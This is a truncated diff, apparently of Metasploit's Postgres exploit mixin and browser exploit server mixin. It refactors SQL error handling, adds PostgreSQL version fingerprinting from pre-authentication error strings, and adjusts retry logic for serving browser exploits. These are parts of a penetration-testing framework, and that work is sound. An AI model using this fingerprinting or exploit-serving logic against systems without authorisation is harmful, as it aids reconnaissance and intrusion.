OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
@ -167,7 +167,13 @@ module Exploit::Remote::Postgres
when "C42883"
sql_error_msg += " Function does not exist: '#{sql}'"
else # Let the user figure out the rest.
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
if e == Timeout::Error
sql_error_msg = 'Execution expired'
elsif sql_error_msg.nil?
sql_error_msg = e.inspect
else
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
end
end
return {:sql_error => sql_error_msg}
end
@ -292,6 +298,8 @@ module Exploit::Remote::Postgres
when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database
when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host
# Windows

View File

@ -7,6 +7,7 @@ require 'set'
require 'rex/exploitation/js'
require 'msf/core/exploit/jsobfu'
require 'msf/core/exploit/remote/browser_profile_manager'
require 'msf/core/module'
###
#
@ -28,6 +29,8 @@ module Msf
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
include Msf::Exploit::Remote::BrowserProfileManager
include Msf::Module::UI::Line::Verbose
include Msf::Module::UI::Message::Verbose
# this must be static between runs, otherwise the older cookies will be ignored
DEFAULT_COOKIE_NAME = '__ua'
@ -136,7 +139,6 @@ module Msf
clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
end
# Returns the custom 404 URL set by the user
#
# @return [String]
@ -586,7 +588,7 @@ module Msf
if profile.nil?
print_status("Browsing directly to the exploit URL is forbidden.")
send_not_found(cli)
elsif profile[:tried] and datastore['Retries'] == false
elsif profile[:tried] && !datastore['Retries']
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else

Some files were not shown because too many files have changed in this diff Show More